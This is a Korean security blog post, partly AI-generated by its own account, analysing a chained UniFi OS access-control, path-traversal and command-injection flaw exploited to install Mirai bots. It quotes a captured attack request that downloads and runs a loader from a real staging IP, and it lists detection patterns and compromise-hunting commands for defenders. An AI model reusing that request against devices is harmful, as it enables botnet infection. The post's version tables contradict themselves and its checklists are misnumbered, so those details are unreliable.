[CVE-2026-34908] Ubiquiti UniFi OS Improper Access Control Vulnerability 분석

Ubiquiti UniFi OS 장비에서 부적절한 접근 제어 취약점(CVE-2026-34908)이 발견되었다. 이 취약점은 CVE-2026-34909(Path Traversal) 및 CVE-2026-34910(Command Injection)과 함께 발표되었으며, 실제로 이 3가지 취약점이 연결되어 Mirai 봇넷 구축에 악용되는 사례가 확인되었다. CISA(미국 사이버보안 및 인프라 보안청)은 이 취약점을 KEV(Known Exploited Vulnerabilities) 카탈로그에 등록하며, 2026년 6월 23일부터 2026년 6월 26일까지 완화 조치 적용을 의무화했다.

개요

CVE-2026-34908은 CWE-284: Improper Access Control(부적절한 접근 제어)에 해당한다. UniFi OS의 nginx 인증 게이트웨이에서 인코딩된 URI를 인증 체크용으로 사용하고, 정규화된 URI를 백엔드 라우팅에 사용하는 불일치를 악용한다.

공격 체인:
1. CVE-2026-34908 (Access Control): 공격자가 인증이 필요 없는 것처럼 보이는 경로로 요청을 보낸다
2. CVE-2026-34909 (Path Traversal): 경로 순회 기법(../../)으로 인증이 필요한 내부 엔드포인트로 라우팅 우회
3. CVE-2026-34910 (Command Injection): 패키지 업데이트 API에서 사용자 입력이 쉘 명령에 검증 없이 전달되어 명령 주입

본론

취약점 기술적 분석

CVE-2026-34908은 CWE-284: Improper Access Control(부적절한 접근 제어)에 해당한다. UniFi OS의 nginx 인증 게이트웨이에서 인코딩된 URI를 인증 체크용으로 사용하고, 정규화된 URI를 백엔드 라우팅에 사용하는 불일치를 악용한다.

영향 범위

영향받는 제품별 취약 버전:

• UCG-Industrial: 5.0.13 이전
• UDM, UDM-Pro, UDM-SE, UDM-Pro-Max, EFG, UDW, UDR, UDR7, Express 7, UNVR, UNVR-Pro, UNVR-Instant, ENVR, UCG-Ultra, UCG-Max, UCG-Fiber: 5.0.16 이전
• UDR-5G, ENVR-Core, UCKP, UCK, UCK-Enterprise: 5.0.17 이전
• UniFi OS Server: 5.0.6 이전
• UNVR-G2, UNVR-G2-Pro: 5.1.11 이전
• UDM-Beast, UNAS-2, UNAS-4, UNAS-Pro, UNAS-Pro-4, UNAS-Pro-8: 5.1.8 이전

패치 버전:

• UCG-Industrial: 5.1.12 이상
• UDM, UDM-Pro, UDM-SE, UDM-Pro-Max, EFG, UDW, UDR, UDR7, Express 7, UNVR, UNVR-Pro, UNVR-Instant, ENVR, UCG-Ultra, UCG-Max, UCG-Fiber: 5.1.12 이상
• UDR-5G, ENVR-Core, UCKP, UCK, UCK-Enterprise: 5.1.12 이상
• UniFi OS Server: 5.0.8 이상
• UNVR-G2, UNVR-G2-Pro: 5.1.12 이상
• UNAS-2, UNAS-4, UNAS-Pro, UNAS-Pro-4, UNAS-Pro-8: 5.1.10 이상
• UDM-Beast: 5.1.11 이상

CVSS 점수 및 심각도

Ubiquiti는 각 CVE에 대해 독립적으로 CVSS v3.1 점수를 부여했다. 각 취약점은 CVSS 10.0 Critical이며, 개별적으로도 완전히 치명적 위협이다.

CVE-2026-34908:
- CVSS v3.1: 10.0 (Critical)
- 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- 공격 벡터: 네트워크
- 공격 복잡도: 낮음
- 권한 필요: 없음
- 사용자 상호작용: 없음
- 영향 범위: 범위 확장
- 기밀성/무결성/가용성: 높음 (C:H/I:H/A:H)

실제 공격 사례

Mirai 봇넷 공격 확인 (PwnDefend 보고서):

2026년 6월 9일, PwnDefend에서 CVE-2026-34908, CVE-2026-34909, CVE-2026-34910이 연결되어 실제로 악용되는 사례가 보고되었다.

공격 방식:

CVE-2026-34908 (인증 우회)
  → CVE-2026-34909 (경로 순회)
    → CVE-2026-34910 (명령 주입)
      → Mirai 로더 다운로드
        → 봇넷 조인 (C2 연결)

캡처된 공격 요청 예시:

GET /api/auth/validate-sso/../../../proxy/users/api/v2/ucs/update/latest_package?pkg_name=x$(cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; busybox wget http://185.228.26.16/zok -O zok; curl -o zok http://185.228.26.16/zok; wget http://185.228.26.16/zok; chmod 777 zok; ./zok unifi.exploit)&by_cmd=true

악용 단계:
1. Stage 1: HTTP 요청으로 악성 코드 및 zok 로더 다운로드
2. Stage 2: zok 로더가 다양한 CPU 아키텍처용 바이너리 시도 (TFTP 포함)
3. Stage 3: azsxd v2.0 Mirai/Gafgyt 계열 봇 설치 및 C2 서버 연결

IOCs (Indicators of Compromise):
- 공격 소스 IP: 176.65.148.183 (Pfcloud UG)
- 스테이징 호스트: 185.228.26.16 (HTTP + TFTP)
- 파일명: zok, azsxd, azsxd., cron.azsxd
- 임플란트 SHA-256:* 5833e2344434022e18e22c4b93dc4a7710908fd03312499014d5cabf06bfc459

패치 정보

Ubiquiti는 이 취약점을 해결하는 보안 업데이트를 배포했다. 사용자는 즉시 최신 펌웨어로 업데이트해야 한다.

패치 적용 방법:
1. UniFi 컨트롤러 접속
2. Settings(설정) > Maintenance(유지보수) 메뉴로 이동
3. 최신 펌웨어 버전 확인 및 업데이트
4. 모든 UniFi 장치 재부팅

참고: Ubiquiti 공식 보안 공지(Security Advisory Bulletin 064-064)에서 상세 패치 정보를 확인해라.

즉시 대응 조치 및 완화 방안

즉시 대응 (24시간 이내)

1. 패치 적용 우선순위:
2. 인터넷에 직접 노출된 UniFi OS 장치 즉시 업데이트
3. 내부 네트워크 장치는 24시간 이내 업데이트 완료

4. 특히 UniFi OS Server 5.0.6 이전 버전은 최우선 적용

5. 네트워크 분리:

6. 인터넷에 직접 노출된 UniFi 장치의 불필요한 포트 차단
7. 관리 인터페이스에 대한 접근 제한 (VPN만 허용)

8. 외부에서 UniFi 컨트롤러 접속 비활성화

9. 완화 조치 (패치 불가 시):

10. 방화벽에서 외부에서 장비로의 인바운드 연결 차단
11. 로컬 네트워크에서만 접근 가능하도록 제한
12. 불가능한 경우 서비스 중단 고려

단기 대응 (72시간 이내)

1. 로깅 모니터링:
2. 이상 접속 시도 감지 및 알림 설정
3. 특히 /api/auth/validate-sso/와 ucs/update/latest_package 경로 감시

4. 경로 순회 패턴(.., %2e, %2f) 탐지

5. 구성 백업:

6. 현재 시스템 구성 백업

7. 업데이트 전후 상태 비교 준비

8. 침해 탐지:

9. 삭제된 실시간 실행 파일 실행 프로세스 확인: ls -l /proc/*/exe | grep deleted
10. 의심스러운 파일 탐지: find /tmp /var/run /mnt /root -name "cron.azsxd" -o -name "azsxd.*" -o -name "zok"
11. TFTP (UDP 69) 업로드/다운로드 트래픽 모니터링

장기 대응 (1주 이내)

1. 취약점 관리 프로세스 구축:
2. 정기적 펌웨어 업데이트 일정 수립

3. 보안 공지 모니터링 시스템 도입

4. 네트워크 세분화:

5. 관리 네트워크와 사용자 네트워크 분리

6. 관리자 콘솔 접근 제한

7. 보안 교육:

8. 네트워크 관리자 보안 교육
9. 취약점 대응 절차 훈련

결론

이번 Ubiquiti UniFi OS 취약점(CVE-2026-34908)은 CVSS 10.0 Critical로 분류된 치명적 위협이며, 실제로 Mirai 봇넷 구축에 악용된 사례가 확인되었다. 세 가지 취약점(Access Control, Path Traversal, Command Injection)이 연결된 공격 체인을 통해 공격자는 인증 없이 원격 코드 실행이 가능하다.

CISA가 이 취약점을 KEV 카탈로그에 등록하고 패치 의무화를 공표한 만큼, 모든 UniFi OS 장비 운영자는 즉시 패치 적용이 필요하다. 인터넷에 직접 노출된 장치는 최신으로 업데이트하고, 내부 네트워크 장치도 24시간 이내에 완료해야 한다.

패치가 불가능한 상황에서는 UniFi 컨트롤러 접속을 차단하고 방화벽에서 인바운드 연결을 막는 등 완화 조치를 적용해야 한다. 또한 로깅 모니터링을 통해 이상 접속 시도를 감지하고, IOC를 기반으로 침해 여부를 확인해야 한다.

장기적으로는 정기적 펌웨어 업데이트 일정을 수립하고 네트워크 세분화, 보안 교육 등을 통해 보안 태세를 강화해야 한다. 이번 사례는 IoT/네트워크 장비 보안 관리의 중요성을 다시 한번 상기시킨다.

대응 우선순위 요약

참고자료

1. NVD (National Vulnerability Database)
   https://nvd.nist.gov/vuln/detail/CVE-2026-34908

2. CISA Known Exploited Vulnerabilities Catalog
   https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34908

3. Ubiquiti Security Advisory Bulletin 064-064
   https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b

4. PwnDefend - CVE-2026-34910 Exploitation ITW – Building a Botnet (Mirai)
   https://www.pwndefend.com/2026/06/09/cve-2026-34910-exploitation-itw-building-a-botnet-mirai/

5. CWE-284: Improper Access Control
   https://cwe.mitre.org/data/definitions/284.html

본 콘텐츠는 AI 기술로 생성된 분석 리포트를 포함하고 있습니다. 내용 중 사실과 다르거나 보완이 필요한 정보를 발견하시면 댓글을 통해 소중한 의견 부탁드립니다. 여러분의 피드백은 더 정확한 보안 정보 공유에 큰 도움이 됩니다.